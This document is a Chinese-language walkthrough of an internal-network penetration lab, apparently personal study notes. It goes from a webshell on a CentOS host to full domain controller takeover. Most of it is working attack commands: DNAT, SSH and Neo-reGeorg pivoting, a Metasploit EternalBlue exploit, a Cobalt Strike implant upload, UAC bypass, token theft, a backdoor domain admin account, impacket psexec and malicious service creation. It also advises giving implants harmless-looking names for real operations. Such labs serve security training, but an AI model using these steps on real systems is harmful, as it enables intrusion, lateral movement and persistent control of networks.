内网渗透实验
拓扑如下
逐步渗透
1. 拿下web所在主机
前置条件:已通过centos的web漏洞拿到shell, 比如搭建tomcat-CVE-2017-12165,进行内网渗透实验
学习目标:了解内网渗透
- 冰蝎连接centos中的webshell进行操作:
使用冰蝎上传fscan,扫描内网,可以看到资产192.168.152.141存在ms17-010漏洞
2. 通过ms17-010拿下win7
内网穿透
- 第一种方法 (冰蝎执行命令): 失陷的centos上配置dnat(限制:需要root权限)
# 失陷linux主机上设置DNAT策略
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 445 -j DNAT --to-destination <win7主机_IP>:<win7端口>
iptables -t nat -A POSTROUTING -j MASQUERADE
-
第二种方法 : 在失陷的linux主机上搭建ssh隧道,让流量经过你的vps攻击机(普通用户权限即可)
适用于目标主机不出网,通过已经失陷的linux主机将流量带出来
# 失陷linux主机上执行命令,4444为失陷linux主机端口,5555为vps监听端口
# 失陷linux 4444端口的流量会经过vps转发,vps转发到127.0.0.1即是vps自己,也就是失陷的linux主机上4444端口的流量转发到vps主机上的5555端口
ssh -L 4444:127.0.0.1:5555 root@vps_ip
- 第三种方式:socks 代理
# 使用工具: Neo-reGeorg + proxifier
# 在攻击机: neo-regrorg设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php)
python neoreg.py generate -k password
# 生成完成之后,将php或其他合适的类型的脚本上传到WEB服务器(使用冰蝎上传)
# 连接隧道脚本
python3 neoreg.py -k password -u http://xx/tunnel.php -p 8000
-
配置proxifier: 设置全局socks5代理并且添加规则指向目标内网网段走我们新配置的socks5
-
其他的一些内网穿透工具:cs、冰蝎、Proxychains、suo5、nps
不管选择哪一种方案穿透内网,设置成功之后,就可以开始打ms17-010:
本次实验选用第三种方式做内网穿透
# 攻击机使用Metasploit
cd metasploit-framework/bin
./msfcosole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <win7主机_IP>
set RPORT 445
#设置完成之后开始攻击
exploit
成功获取到win7主机权限
-
上线cs (本次实验win7主机出网,可以直接上线cs,反之需要配合ssh隧道才能上线)
- 上传cs的马
C:\Windows\Temp权限: 用户可以在其创建的对象上拥有完全控制权
# 上传cs生成的马到win7的C:\Windows\Temp目录下;\需要转义,所以要写两个\ upload /Users/shulei/Desktop/update_win7.exe C:\\Windows\\Temp
# 进入shell,执行update_win7.exe shell cd C:\Windows\Temp update_win7.exe
-
cs查看上线情况,win7成功上线
3. win7提权 –》 获取域管账户权限
- 提升主机权限到system权限 (普通用户的情况下,如果直接是system权限,请忽略这一步)
如果你是普通本地用户权限,用以下命令提升到高权限
注意:如果是域用户会弹出认证窗口,不能提权
elevate uac-token-duplication : 选择监听器
然后可以用 elevate svc-exe 再提权到system权限
-
进入system的beacon查看主机进程,可以查看所有进程情况,找一个administrator的进程,窃取令牌
steal_token
: 窃取令牌# 窃取administrator用户的token steal_token 3876 # 再查看当前用户,已经拿到了域管权限 shell whoami
-
查看主机名
shell net localgroup /domain
-
查看该主机目录
shell dir \\WIN-VT056J4KITR.test.local\c$
-
域控主机定位
域机器的主机dns会指向域控,所以域控主机的ip应该是192.168.111.130
-
配置代理使攻击机访问到111网段
注意:不能直接使用hashdump查看域的用户hash,只能查看本地用户的hash,所以我们无法直接拿到域控权限
-
启用一个代理 (使用system进程),使cobaltstrike开启一个监听,端口为10081
-
c2客户端配置代理 (需要安装proxychains4)
cs server主机与上线的 Beacon(在受控制的目标机器上)之间创建一个隧道,使得任何通过该代理的流量实际上都会被转发到那个特定的 Beacon,然后从那里出到目标网络
# 编辑配置文件 sudo vim /etc/proxychains.conf 或者这个路径 sudo vim /usr/local/etc/proxychains.conf # 添加以下配置,ip为你cs_server的ip,它会把你的流量 [ProxyList] socks5 vps_ip 10081
win7上使用phpstudy启动了http服务,可以测试使用代理访问
proxychains4 nc -vv 192.168.111.140 80
:成功访问111网段
4. 获取域控主机权限
-
第一种方法,新创建域账户
shell net user lulu Qq123456.. /add /domain # 添加一个域账户 shell net localgroup administrators test.local\lulu /add /do #加入管理员组 shell net user /do # 查看域用户,lulu用户已经添加
-
查看用户信息
-
测试 (使用impacket)
Impactket psexec.py 原理就是通过通过认证SMB协议,成功之后上传一个可执行文件,然后通过RPC在目标机器上注册一个新的Windows服务,服务就是上传的可执行文件的路径,启动服务之后,可以获得system shell;
Windows 服务在默认情况下通常是以
NT AUTHORITY\SYSTEM
身份运行的,所以我们拿到的用户身份是:NT AUTHORITY\SYSTEM;proxychains4 python3 psexec.py lulu:Qq123456..@192.168.111.130 chcp 65001 # 修改为中文编码 whoami # 查看当前用户
-
systeminfo
查看系统信息确认已经获取域控主机权限
-
-
上线域控主机
1. 域控不出网破局
-
将win7设置为中转
查看event log: 已经有tcp session在该端口工作
-
生成全阶段马, 我保存到了c2客户端的桌面,名称为big_update.exe(随便你自己取名,实战最好起那看起来比较”靠谱“的exe名称)
-
上传马
upload
,然后弹出的界面选择刚生成的马 -
拷贝到域控主机
shell copy big_update.exe \\192.168.111.130\c$\Users
-
2. 上线方式
-
第一种方式:使用代理连接终端执行我们上传的马
proxychains4 python3 psexec.py lulu:Qq123456..@192.168.111.130
域控主机成功上线
-
第二种方式:创建服务
# 在域控创建服务 shell sc \\192.168.111.130 create firewalld binpath= "C:/Users/cmdc.exe" # 查询服务是否存在 shell sc \\192.168.111.130 query firewalld # 启动服务 shell sc \\192.168.111.130 start firewalld
-
第三种方式:利用漏洞 (ms14-068)打进去